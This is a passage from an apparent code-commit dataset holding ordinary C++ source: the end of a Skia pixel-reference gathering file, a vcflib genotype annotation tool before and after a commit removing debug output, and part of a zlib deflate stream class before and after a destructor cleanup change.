texs[],\n const SkColor colors[], SkXfermode* xmode,\n const uint16_t indices[], int indexCount,\n const SkPaint& paint) SK_OVERRIDE {\n this->addBitmapFromPaint(paint);\n }\n virtual void drawDevice(const SkDraw&, SkDevice*, int x, int y,\n const SkPaint&) SK_OVERRIDE {\n nothing_to_do();\n }\n\nprotected:\n virtual bool onReadPixels(const SkBitmap& bitmap,\n int x, int y,\n SkCanvas::Config8888 config8888) SK_OVERRIDE {\n not_supported();\n return false;\n }\n};\n\nclass NoSaveLayerCanvas : public SkCanvas {\npublic:\n NoSaveLayerCanvas(SkDevice* device) : INHERITED(device) {}\n\n \/\/ turn saveLayer() into save() for speed, should not affect correctness.\n virtual int saveLayer(const SkRect* bounds, const SkPaint* paint,\n SaveFlags flags) SK_OVERRIDE {\n\n \/\/ Like SkPictureRecord, we don't want to create layers, but we do need\n \/\/ to respect the save and (possibly) its rect-clip.\n\n int count = this->INHERITED::save(flags);\n if (bounds) {\n this->INHERITED::clipRectBounds(bounds, flags, NULL);\n }\n return count;\n }\n\n \/\/ disable aa for speed\n virtual bool clipRect(const SkRect& rect, SkRegion::Op op,\n bool doAA) SK_OVERRIDE {\n return this->INHERITED::clipRect(rect, op, false);\n }\n\n \/\/ for speed, just respect the bounds, and disable AA. May give us a few\n \/\/ false positives and negatives.\n virtual bool clipPath(const SkPath& path, SkRegion::Op op,\n bool doAA) SK_OVERRIDE {\n return this->INHERITED::clipRect(path.getBounds(), op, false);\n }\n virtual bool clipRRect(const SkRRect& rrect, SkRegion::Op op,\n bool doAA) SK_OVERRIDE {\n return this->INHERITED::clipRect(rrect.getBounds(), op, false);\n }\n\nprivate:\n typedef SkCanvas INHERITED;\n};\n\nSkData* SkPictureUtils::GatherPixelRefs(SkPicture* pict, const SkRect& area) {\n if (NULL == pict) {\n return NULL;\n }\n\n \/\/ this test also handles if either area or pict's width\/height are empty\n if (!SkRect::Intersects(area,\n SkRect::MakeWH(SkIntToScalar(pict->width()),\n SkIntToScalar(pict->height())))) {\n return NULL;\n }\n\n SkTDArray<SkPixelRef*> array;\n PixelRefSet prset(&array);\n\n SkBitmap emptyBitmap;\n emptyBitmap.setConfig(SkBitmap::kARGB_8888_Config, pict->width(), pict->height());\n \/\/ note: we do not set any pixels (shouldn't need to)\n\n GatherPixelRefDevice device(emptyBitmap, &prset);\n NoSaveLayerCanvas canvas(&device);\n\n canvas.clipRect(area, SkRegion::kIntersect_Op, false);\n canvas.drawPicture(*pict);\n\n SkData* data = NULL;\n int count = array.count();\n if (count > 0) {\n data = SkData::NewFromMalloc(array.detach(), count * sizeof(SkPixelRef*));\n }\n return data;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Variant.h\"\n#include \"split.h\"\n#include <string>\n#include <list>\n#include <iostream>\n\nusing namespace std;\nusing namespace vcf;\n\nvoid annotateWithBlankGenotypes(Variant& var, string& annotationTag) {\n\n var.addFormatField(annotationTag);\n\n map<string, map<string, vector<string> > >::iterator s = var.samples.begin(); \n map<string, map<string, vector<string> > >::iterator sEnd = var.samples.end();\n\n for (; s != sEnd; ++s) {\n map<string, vector<string> >& sample = s->second;\n sample[annotationTag].clear(); \/\/ means \"no genotype\" genotype\n sample[annotationTag].push_back(\".\/.\"); \/\/ means \"no genotype\" genotype\n }\n}\n\nvoid annotateWithGenotypes(Variant& varA, Variant& varB, string& annotationTag) {\n\n varA.addFormatField(annotationTag);\n\n map<string, map<string, vector<string> > >::iterator s = varA.samples.begin(); \n map<string, map<string, vector<string> > >::iterator sEnd = varA.samples.end();\n\n map<string, int> varAAlleleInts;\n int i = 1;\n for (vector<string>::iterator a = varA.alt.begin(); a != varA.alt.end(); ++a, ++i) {\n varAAlleleInts[*a] = i;\n }\n\n map<int, int> varBconvertToVarA; \/\/ maps alleles in the second file to allele numbers for the first\n varBconvertToVarA[0] = 0; \/\/ reference == reference!\n i = 1;\n for (vector<string>::iterator a = varB.alt.begin(); a != varB.alt.end(); ++a, ++i) {\n map<string, int>::iterator ita = varAAlleleInts.find(*a);\n if (ita != varAAlleleInts.end()) {\n varBconvertToVarA[i] = ita->second;\n }\n }\n\n for (; s != sEnd; ++s) {\n map<string, vector<string> >& sample = s->second;\n const string& name = s->first;\n map<string, map<string, vector<string> > >::iterator o = varB.samples.find(name);\n sample[annotationTag].clear();\n if (o == varB.samples.end()) {\n sample[annotationTag].push_back(\".\/.\"); \/\/ means \"no genotype\"\n } else {\n map<string, vector<string> >& other = o->second;\n string& otherGenotype = other[\"GT\"].front();\n \/\/ XXX this must compare the genotypes in the two files\n map<int, int> gtB = decomposeGenotype(otherGenotype);\n map<int, int> gtnew;\n for (map<int, int>::iterator g = gtB.begin(); g != gtB.end(); ++g) {\n map<int, int>::iterator f = varBconvertToVarA.find(g->first);\n if (f != varBconvertToVarA.end()) {\n gtnew[f->second] += g->second;\n } else {\n gtnew[-1] += g->second;\n }\n }\n sample[annotationTag].push_back(genotypeToString(gtnew));\n }\n }\n}\n\nint main(int argc, char** argv) {\n\n if (argc != 4) {\n cerr << \"usage: \" << argv[0] << \" <annotation-tag> <vcf file> <vcf file>\" << endl\n << \"annotates genotypes in the first file with genotypes in the second\" << endl\n << \"adding the genotype as another flag to each sample filed in the first file.\" << endl\n << \"annotation-tag is the name of the sample flag which is added to store the annotation.\" << endl\n << \"also adds a 'has_variant' flag for sites where the second file has a variant.\" << endl;\n return 1;\n }\n\n string annotag = argv[1];\n string filenameA = argv[2];\n string filenameB = argv[3];\n\n if (filenameA == filenameB) {\n cerr << \"it won't help to annotate samples with their own genotypes!\" << endl;\n return 1;\n }\n\n VariantCallFile variantFileA;\n if (filenameA == \"-\") {\n variantFileA.open(std::cin);\n } else {\n variantFileA.open(filenameA);\n }\n\n VariantCallFile variantFileB;\n if (filenameB == \"-\") {\n variantFileB.open(std::cin);\n } else {\n variantFileB.open(filenameB);\n }\n\n if (!variantFileA.is_open() || !variantFileB.is_open()) {\n return 1;\n }\n\n Variant varA(variantFileA);\n Variant varB(variantFileB);\n\n \/\/ while the first file doesn't match the second positionally,\n \/\/ step forward, annotating each genotype record with an empty genotype\n \/\/ when the two match, iterate through the genotypes from the first file\n \/\/ and get the genotypes reported in the second file\n \n variantFileA.getNextVariant(varA);\n variantFileB.getNextVariant(varB);\n\n string line = \"##INFO=<ID=\" + annotag + \".has_variant,Number=0,Type=Flag,Description=\\\"True if \"\n + annotag + \" has a called alternate among samples under comparison.\\\">\";\n variantFileA.addHeaderLine(line);\n line = \"##FORMAT=<ID=\" + annotag + \",Number=1,Type=String,Description=\\\"Genotype from \"\n + annotag + \".\\\">\";\n variantFileA.addHeaderLine(line);\n\n cout << variantFileA.header << endl;\n\tint counter = 0;\n\n do {\n\t\tcounter ++;\n\n \/\/ this is broken. to do it right, it'll be necessary to get reference ids from the fasta reference used to make the alignments...\n\t\t\/\/ if B is NOT done, and is less than A, read new B.\n if (!variantFileB.done()\n && (varB.sequenceName != varA.sequenceName\n || (varB.sequenceName == varA.sequenceName && varB.position < varA.position)\n\t\t\t\t|| variantFileA.done())\n ) {\n variantFileB.getNextVariant(varB);\n }\n\n\t\t\/\/ if A is not done- and A is less than B, read A. \n\t\t\/\/ should also read if variant B is done. \n if (!variantFileA.done()\n && (varA.sequenceName != varB.sequenceName\n || (varA.sequenceName == varB.sequenceName && varA.position < varB.position)\n\t\t\t\t|| variantFileB.done())\n ) {\n cout << varA << endl;\n variantFileA.getNextVariant(varA);\n }\n\n vector<Variant> varsA;\n vector<Variant> varsB;\n\n bool hasMultipleAlts = false;\n\n long int thisPosition = 0;\n string thisSequenceName;\n if (varA.position == varB.position\n && varA.sequenceName == varB.sequenceName) {\n thisPosition = varA.position;\n thisSequenceName = varA.sequenceName;\n }\n while (!variantFileA.done()\n && !variantFileB.done()\n && thisPosition == varA.position\n && thisSequenceName == varA.sequenceName\n && varA.sequenceName == varB.sequenceName\n && varA.position == varB.position) {\n \/\/ accumulate all the alts at the current position\n varsA.push_back(varA);\n varsB.push_back(varB);\n if (varA.alt.size() > 1 || varB.alt.size() > 1)\n hasMultipleAlts = true;\n variantFileA.getNextVariant(varA);\n variantFileB.getNextVariant(varB);\n }\n\n \/\/ multiple lines per position\n if (!hasMultipleAlts && (varsA.size() > 1 || varsB.size() > 1)) {\n\n map<pair<string, string>, Variant> varsAParsed;\n map<pair<string, string>, Variant> varsBParsed;\t\n for (vector<Variant>::iterator v = varsA.begin(); v != varsA.end(); ++v) {\n varsAParsed[make_pair(v->ref, v->alt.front())] = *v;\n }\n for (vector<Variant>::iterator v = varsB.begin(); v != varsB.end(); ++v) {\n varsBParsed[make_pair(v->ref, v->alt.front())] = *v;\n }\n\t \n for (map<pair<string, string>, Variant>::iterator vs = varsAParsed.begin(); vs != varsAParsed.end(); ++vs) {\n Variant& varA = vs->second;\n if (varsBParsed.find(make_pair(varA.ref, varA.alt.front())) != varsBParsed.end()) {\n Variant& varB = varsBParsed[make_pair(varA.ref, varA.alt.front())]; \/\/ TODO cleanup\n annotateWithGenotypes(varA, varB, annotag);\n varA.infoFlags[annotag + \".has_variant\"] = true;\n } else {\n annotateWithBlankGenotypes(varA, annotag);\n }\n cout << varA << endl;\n }\n\n } else if (!varsA.empty() && !varsB.empty()) { \/\/ one line per multi-allelic\n Variant& varA = varsA.front();\n Variant& varB = varsB.front();\n annotateWithGenotypes(varA, varB, annotag);\n \/\/ XXX TODO, and also allow for records with multiple alts\n \/\/ XXX assume that if the other file has a corresponding record, some kind of variation was detected at the same site\n varA.infoFlags[annotag + \".has_variant\"] = true;\n cout << varA << endl;\n }\n } while (!variantFileA.done() || !variantFileB.done());\n\n cerr << \"check: \" << counter << \"\\n\";\n return 0;\n\n}\n\n<commit_msg>Removed testing prints to serr<commit_after>#include \"Variant.h\"\n#include \"split.h\"\n#include <string>\n#include <list>\n#include <iostream>\n\nusing namespace std;\nusing namespace vcf;\n\nvoid annotateWithBlankGenotypes(Variant& var, string& annotationTag) {\n\n var.addFormatField(annotationTag);\n\n map<string, map<string, vector<string> > >::iterator s = var.samples.begin(); \n map<string, map<string, vector<string> > >::iterator sEnd = var.samples.end();\n\n for (; s != sEnd; ++s) {\n map<string, vector<string> >& sample = s->second;\n sample[annotationTag].clear(); \/\/ means \"no genotype\" genotype\n sample[annotationTag].push_back(\".\/.\"); \/\/ means \"no genotype\" genotype\n }\n}\n\nvoid annotateWithGenotypes(Variant& varA, Variant& varB, string& annotationTag) {\n\n varA.addFormatField(annotationTag);\n\n map<string, map<string, vector<string> > >::iterator s = varA.samples.begin(); \n map<string, map<string, vector<string> > >::iterator sEnd = varA.samples.end();\n\n map<string, int> varAAlleleInts;\n int i = 1;\n for (vector<string>::iterator a = varA.alt.begin(); a != varA.alt.end(); ++a, ++i) {\n varAAlleleInts[*a] = i;\n }\n\n map<int, int> varBconvertToVarA; \/\/ maps alleles in the second file to allele numbers for the first\n varBconvertToVarA[0] = 0; \/\/ reference == reference!\n i = 1;\n for (vector<string>::iterator a = varB.alt.begin(); a != varB.alt.end(); ++a, ++i) {\n map<string, int>::iterator ita = varAAlleleInts.find(*a);\n if (ita != varAAlleleInts.end()) {\n varBconvertToVarA[i] = ita->second;\n }\n }\n\n for (; s != sEnd; ++s) {\n map<string, vector<string> >& sample = s->second;\n const string& name = s->first;\n map<string, map<string, vector<string> > >::iterator o = varB.samples.find(name);\n sample[annotationTag].clear();\n if (o == varB.samples.end()) {\n sample[annotationTag].push_back(\".\/.\"); \/\/ means \"no genotype\"\n } else {\n map<string, vector<string> >& other = o->second;\n string& otherGenotype = other[\"GT\"].front();\n \/\/ XXX this must compare the genotypes in the two files\n map<int, int> gtB = decomposeGenotype(otherGenotype);\n map<int, int> gtnew;\n for (map<int, int>::iterator g = gtB.begin(); g != gtB.end(); ++g) {\n map<int, int>::iterator f = varBconvertToVarA.find(g->first);\n if (f != varBconvertToVarA.end()) {\n gtnew[f->second] += g->second;\n } else {\n gtnew[-1] += g->second;\n }\n }\n sample[annotationTag].push_back(genotypeToString(gtnew));\n }\n }\n}\n\nint main(int argc, char** argv) {\n\n if (argc != 4) {\n cerr << \"usage: \" << argv[0] << \" <annotation-tag> <vcf file> <vcf file>\" << endl\n << \"annotates genotypes in the first file with genotypes in the second\" << endl\n << \"adding the genotype as another flag to each sample filed in the first file.\" << endl\n << \"annotation-tag is the name of the sample flag which is added to store the annotation.\" << endl\n << \"also adds a 'has_variant' flag for sites where the second file has a variant.\" << endl;\n return 1;\n }\n\n string annotag = argv[1];\n string filenameA = argv[2];\n string filenameB = argv[3];\n\n if (filenameA == filenameB) {\n cerr << \"it won't help to annotate samples with their own genotypes!\" << endl;\n return 1;\n }\n\n VariantCallFile variantFileA;\n if (filenameA == \"-\") {\n variantFileA.open(std::cin);\n } else {\n variantFileA.open(filenameA);\n }\n\n VariantCallFile variantFileB;\n if (filenameB == \"-\") {\n variantFileB.open(std::cin);\n } else {\n variantFileB.open(filenameB);\n }\n\n if (!variantFileA.is_open() || !variantFileB.is_open()) {\n return 1;\n }\n\n Variant varA(variantFileA);\n Variant varB(variantFileB);\n\n \/\/ while the first file doesn't match the second positionally,\n \/\/ step forward, annotating each genotype record with an empty genotype\n \/\/ when the two match, iterate through the genotypes from the first file\n \/\/ and get the genotypes reported in the second file\n \n variantFileA.getNextVariant(varA);\n variantFileB.getNextVariant(varB);\n\n string line = \"##INFO=<ID=\" + annotag + \".has_variant,Number=0,Type=Flag,Description=\\\"True if \"\n + annotag + \" has a called alternate among samples under comparison.\\\">\";\n variantFileA.addHeaderLine(line);\n line = \"##FORMAT=<ID=\" + annotag + \",Number=1,Type=String,Description=\\\"Genotype from \"\n + annotag + \".\\\">\";\n variantFileA.addHeaderLine(line);\n\n cout << variantFileA.header << endl;\n\n do {\n\n \/\/ this is broken. to do it right, it'll be necessary to get reference ids from the fasta reference used to make the alignments...\n\t\t\/\/ if B is NOT done, and is less than A, read new B.\n if (!variantFileB.done()\n && (varB.sequenceName != varA.sequenceName\n || (varB.sequenceName == varA.sequenceName && varB.position < varA.position)\n\t\t\t\t|| variantFileA.done())\n ) {\n variantFileB.getNextVariant(varB);\n }\n\n\t\t\/\/ if A is not done- and A is less than B, read A. \n\t\t\/\/ should also read if variant B is done. \n if (!variantFileA.done()\n && (varA.sequenceName != varB.sequenceName\n || (varA.sequenceName == varB.sequenceName && varA.position < varB.position)\n\t\t\t\t|| variantFileB.done())\n ) {\n cout << varA << endl;\n variantFileA.getNextVariant(varA);\n }\n\n vector<Variant> varsA;\n vector<Variant> varsB;\n\n bool hasMultipleAlts = false;\n\n long int thisPosition = 0;\n string thisSequenceName;\n if (varA.position == varB.position\n && varA.sequenceName == varB.sequenceName) {\n thisPosition = varA.position;\n thisSequenceName = varA.sequenceName;\n }\n while (!variantFileA.done()\n && !variantFileB.done()\n && thisPosition == varA.position\n && thisSequenceName == varA.sequenceName\n && varA.sequenceName == varB.sequenceName\n && varA.position == varB.position) {\n \/\/ accumulate all the alts at the current position\n varsA.push_back(varA);\n varsB.push_back(varB);\n if (varA.alt.size() > 1 || varB.alt.size() > 1)\n hasMultipleAlts = true;\n variantFileA.getNextVariant(varA);\n variantFileB.getNextVariant(varB);\n }\n\n \/\/ multiple lines per position\n if (!hasMultipleAlts && (varsA.size() > 1 || varsB.size() > 1)) {\n\n map<pair<string, string>, Variant> varsAParsed;\n map<pair<string, string>, Variant> varsBParsed;\t\n for (vector<Variant>::iterator v = varsA.begin(); v != varsA.end(); ++v) {\n varsAParsed[make_pair(v->ref, v->alt.front())] = *v;\n }\n for (vector<Variant>::iterator v = varsB.begin(); v != varsB.end(); ++v) {\n varsBParsed[make_pair(v->ref, v->alt.front())] = *v;\n }\n\t \n for (map<pair<string, string>, Variant>::iterator vs = varsAParsed.begin(); vs != varsAParsed.end(); ++vs) {\n Variant& varA = vs->second;\n if (varsBParsed.find(make_pair(varA.ref, varA.alt.front())) != varsBParsed.end()) {\n Variant& varB = varsBParsed[make_pair(varA.ref, varA.alt.front())]; \/\/ TODO cleanup\n annotateWithGenotypes(varA, varB, annotag);\n varA.infoFlags[annotag + \".has_variant\"] = true;\n } else {\n annotateWithBlankGenotypes(varA, annotag);\n }\n cout << varA << endl;\n }\n\n } else if (!varsA.empty() && !varsB.empty()) { \/\/ one line per multi-allelic\n Variant& varA = varsA.front();\n Variant& varB = varsB.front();\n annotateWithGenotypes(varA, varB, annotag);\n \/\/ XXX TODO, and also allow for records with multiple alts\n \/\/ XXX assume that if the other file has a corresponding record, some kind of variation was detected at the same site\n varA.infoFlags[annotag + \".has_variant\"] = true;\n cout << varA << endl;\n }\n\n } while (!variantFileA.done() || !variantFileB.done());\n\n return 0;\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2007-2019 Content Management AG\n * All rights reserved.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * - Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the\n * distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"istream_deflate.hxx\"\n#include \"UnusedPtr.hxx\"\n#include \"New.hxx\"\n#include \"FacadeIstream.hxx\"\n#include \"pool\/pool.hxx\"\n#include \"fb_pool.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n#include \"event\/DeferEvent.hxx\"\n#include \"util\/Cast.hxx\"\n#include \"util\/ConstBuffer.hxx\"\n#include \"util\/DestructObserver.hxx\"\n#include \"util\/WritableBuffer.hxx\"\n\n#include <zlib.h>\n\n#include <stdexcept>\n\n#include <assert.h>\n\nclass ZlibError : public std::runtime_error {\n int code;\n\npublic:\n explicit ZlibError(int _code, const char *_msg)\n :std::runtime_error(_msg), code(_code) {}\n\n int GetCode() const noexcept {\n return code;\n }\n};\n\nclass DeflateIstream final : public FacadeIstream, DestructAnchor {\n const bool gzip;\n bool z_initialized = false, z_stream_end = false;\n z_stream z;\n bool had_input, had_output;\n bool reading;\n SliceFifoBuffer buffer;\n\n \/**\n * This callback is used to request more data from the input if an\n * OnData() call did not produce any output. This tries to\n * prevent stalling the stream.\n *\/\n DeferEvent defer;\n\npublic:\n DeflateIstream(struct pool &_pool, UnusedIstreamPtr _input,\n EventLoop &event_loop, bool _gzip)\n :FacadeIstream(_pool, std::move(_input)),\n gzip(_gzip),\n reading(false),\n defer(event_loop, BIND_THIS_METHOD(OnDeferred))\n {\n }\n\n ~DeflateIstream() {\n defer.Cancel();\n }\n\n bool InitZlib() noexcept;\n\n void DeinitZlib() noexcept {\n if (z_initialized)\n deflateEnd(&z);\n }\n\n void Abort(std::exception_ptr ep) noexcept {\n DeinitZlib();\n\n if (HasInput())\n ClearAndCloseInput();\n\n DestroyError(ep);\n }\n\n void Abort(int code, const char *msg) noexcept {\n Abort(std::make_exception_ptr(ZlibError(code, msg)));\n }\n\n \/**\n * Submit data from the buffer to our istream handler.\n *\n * @return the number of bytes which were handled, or 0 if the\n * stream was closed\n *\/\n size_t TryWrite() noexcept;\n\n \/**\n * Starts to write to the buffer.\n *\n * @return a pointer to the writable buffer, or nullptr if there is no\n * room (our istream handler blocks) or if the stream was closed\n *\/\n WritableBuffer<void> BufferWrite() noexcept {\n buffer.AllocateIfNull(fb_pool_get());\n auto w = buffer.Write();\n if (w.empty() && TryWrite() > 0)\n w = buffer.Write();\n\n return w.ToVoid();\n }\n\n void TryFlush() noexcept;\n\n \/**\n * Read from our input until we have submitted some bytes to our\n * istream handler.\n *\/\n void ForceRead() noexcept;\n\n void TryFinish() noexcept;\n\n \/* virtual methods from class Istream *\/\n\n void _Read() noexcept override {\n if (!buffer.empty())\n TryWrite();\n else if (HasInput())\n ForceRead();\n else\n TryFinish();\n }\n\n void _Close() noexcept override {\n DeinitZlib();\n\n if (HasInput())\n input.Close();\n\n Destroy();\n }\n\n \/* virtual methods from class IstreamHandler *\/\n size_t OnData(const void *data, size_t length) noexcept override;\n void OnEof() noexcept override;\n void OnError(std::exception_ptr ep) noexcept override;\n\nprivate:\n int GetWindowBits() const noexcept {\n return MAX_WBITS + gzip * 16;\n }\n\n void OnDeferred() noexcept {\n assert(HasInput());\n\n ForceRead();\n }\n};\n\nstatic voidpf\nz_alloc(voidpf opaque, uInt items, uInt size) noexcept\n{\n struct pool *pool = (struct pool *)opaque;\n\n return p_malloc(pool, items * size);\n}\n\nstatic void\nz_free(voidpf opaque, voidpf address) noexcept\n{\n (void)opaque;\n (void)address;\n}\n\nbool\nDeflateIstream::InitZlib() noexcept\n{\n if (z_initialized)\n return true;\n\n z.zalloc = z_alloc;\n z.zfree = z_free;\n z.opaque = &GetPool();\n\n int err = deflateInit2(&z, Z_DEFAULT_COMPRESSION,\n Z_DEFLATED, GetWindowBits(), 8,\n Z_DEFAULT_STRATEGY);\n if (err != Z_OK) {\n Abort(err, \"deflateInit2() failed\");\n return false;\n }\n\n z_initialized = true;\n return true;\n}\n\nsize_t\nDeflateIstream::TryWrite() noexcept\n{\n auto r = buffer.Read();\n assert(!r.empty());\n\n size_t nbytes = InvokeData(r.data, r.size);\n if (nbytes == 0)\n return 0;\n\n buffer.Consume(nbytes);\n buffer.FreeIfEmpty();\n\n if (nbytes == r.size && !HasInput() && z_stream_end) {\n DeinitZlib();\n DestroyEof();\n return 0;\n }\n\n return nbytes;\n}\n\ninline void\nDeflateIstream::TryFlush() noexcept\n{\n assert(!z_stream_end);\n\n auto w = BufferWrite();\n if (w.empty())\n return;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n\n z.next_in = nullptr;\n z.avail_in = 0;\n\n int err = deflate(&z, Z_SYNC_FLUSH);\n if (err != Z_OK) {\n Abort(err, \"deflate(Z_SYNC_FLUSH) failed\");\n return;\n }\n\n buffer.Append(w.size - (size_t)z.avail_out);\n\n if (!buffer.empty())\n TryWrite();\n}\n\ninline void\nDeflateIstream::ForceRead() noexcept\n{\n assert(!reading);\n\n const DestructObserver destructed(*this);\n\n bool had_input2 = false;\n had_output = false;\n\n while (1) {\n had_input = false;\n reading = true;\n input.Read();\n if (destructed)\n return;\n\n reading = false;\n if (!HasInput() || had_output)\n return;\n\n if (!had_input)\n break;\n\n had_input2 = true;\n }\n\n if (had_input2)\n TryFlush();\n}\n\nvoid\nDeflateIstream::TryFinish() noexcept\n{\n assert(!z_stream_end);\n\n auto w = BufferWrite();\n if (w.empty())\n return;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n\n z.next_in = nullptr;\n z.avail_in = 0;\n\n int err = deflate(&z, Z_FINISH);\n if (err == Z_STREAM_END)\n z_stream_end = true;\n else if (err != Z_OK) {\n Abort(err, \"deflate(Z_FINISH) failed\");\n return;\n }\n\n buffer.Append(w.size - (size_t)z.avail_out);\n\n if (z_stream_end && buffer.empty()) {\n DeinitZlib();\n DestroyEof();\n } else\n TryWrite();\n}\n\n\n\/*\n * istream handler\n *\n *\/\n\nsize_t\nDeflateIstream::OnData(const void *data, size_t length) noexcept\n{\n assert(HasInput());\n\n auto w = BufferWrite();\n if (w.size < 64) \/* reserve space for end-of-stream marker *\/\n return 0;\n\n if (!InitZlib())\n return 0;\n\n had_input = true;\n\n if (!reading)\n had_output = false;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n\n z.next_in = (Bytef *)const_cast<void *>(data);\n z.avail_in = (uInt)length;\n\n do {\n auto err = deflate(&z, Z_NO_FLUSH);\n if (err != Z_OK) {\n Abort(err, \"deflate() failed\");\n return 0;\n }\n\n size_t nbytes = w.size - (size_t)z.avail_out;\n if (nbytes > 0) {\n had_output = true;\n buffer.Append(nbytes);\n\n const DestructObserver destructed(*this);\n TryWrite();\n if (destructed)\n return 0;\n } else\n break;\n\n w = BufferWrite();\n if (w.size < 64) \/* reserve space for end-of-stream marker *\/\n break;\n\n z.next_out = (Bytef *)w.data;\n z.avail_out = (uInt)w.size;\n } while (z.avail_in > 0);\n\n if (!reading && !had_output)\n \/* we received data from our input, but we did not produce any\n output (and we're not looping inside ForceRead()) - to\n avoid stalling the stream, trigger the DeferEvent *\/\n defer.Schedule();\n\n return length - (size_t)z.avail_in;\n}\n\nvoid\nDeflateIstream::OnEof() noexcept\n{\n ClearInput();\n defer.Cancel();\n\n if (!InitZlib())\n return;\n\n TryFinish();\n}\n\nvoid\nDeflateIstream::OnError(std::exception_ptr ep) noexcept\n{\n ClearInput();\n\n DeinitZlib();\n\n DestroyError(ep);\n}\n\n\/*\n * constructor\n *\n *\/\n\nUnusedIstreamPtr\nistream_deflate_new(struct pool &pool, UnusedIstreamPtr input,\n EventLoop &event_loop, bool gzip) noexcept\n{\n return NewIstreamPtr<DeflateIstream>(pool, std::move(input),\n event_loop, gzip);\n\n}\n<commit_msg>istream\/deflate: deinitialize zlib in destructor<commit_after>\/*\n * Copyright 2007-2019 Content Management AG\n * All rights reserved.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * - Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the\n * distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"istream_deflate.hxx\"\n#include \"UnusedPtr.hxx\"\n#include \"New.hxx\"\n#include \"FacadeIstream.hxx\"\n#include \"pool\/pool.hxx\"\n#include \"fb_pool.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n#include \"event\/DeferEvent.hxx\"\n#include \"util\/Cast.hxx\"\n#include \"util\/ConstBuffer.hxx\"\n#include \"util\/DestructObserver.hxx\"\n#include \"util\/WritableBuffer.hxx\"\n\n#include <zlib.h>\n\n#include <stdexcept>\n\n#include <assert.h>\n\nclass ZlibError : public std::runtime_error {\n int code;\n\npublic:\n explicit ZlibError(int _code, const char *_msg)\n :std::runtime_error(_msg), code(_code) {}\n\n int GetCode() const noexcept {\n return code;\n }\n};\n\nclass DeflateIstream final : public FacadeIstream, DestructAnchor {\n const bool gzip;\n bool z_initialized = false, z_stream_end = false;\n z_stream z;\n bool had_input, had_output;\n bool reading;\n SliceFifoBuffer buffer;\n\n \/**\n * This callback is used to request more data from the input if an\n * OnData() call did not produce any output. This tries to\n * prevent stalling the stream.\n *\/\n DeferEvent defer;\n\npublic:\n DeflateIstream(struct pool &_pool, UnusedIstreamPtr _input,\n EventLoop &event_loop, bool _gzip)\n :FacadeIstream(_pool, std::move(_input)),\n gzip(_gzip),\n reading(false),\n defer(event_loop, BIND_THIS_METHOD(OnDeferred))\n {\n }\n\n ~DeflateIstream() {\n defer.Cancel();\n if (z_initialized)\n deflateEnd(&z);\n }\n\n bool InitZlib() noexcept;\n\n void Abort(std::exception_ptr ep) noexcept {\n if (HasInput())\n ClearAndCloseInput();\n\n DestroyError(ep);\n }\n\n void Abort(int code, const char *msg) noexcept {\n Abort(std::make_exception_ptr(ZlibError(code, msg)));\n }\n\n \/**\n * Submit data from the buffer to our istream handler.\n *\n * @return the number of bytes which were handled, or 0 if the\n * stream was closed\n *\/\n size_t TryWrite() noexcept;\n\n \/**\n * Starts to write to the buffer.\n *\n * @return a pointer to the writable buffer, or nullptr if there is no\n * room (our istream handler blocks) or if the stream was closed\n *\/\n WritableBuffer<void> BufferWrite() noexcept {\n buffer.AllocateIfNull(fb_pool_get());\n auto w = 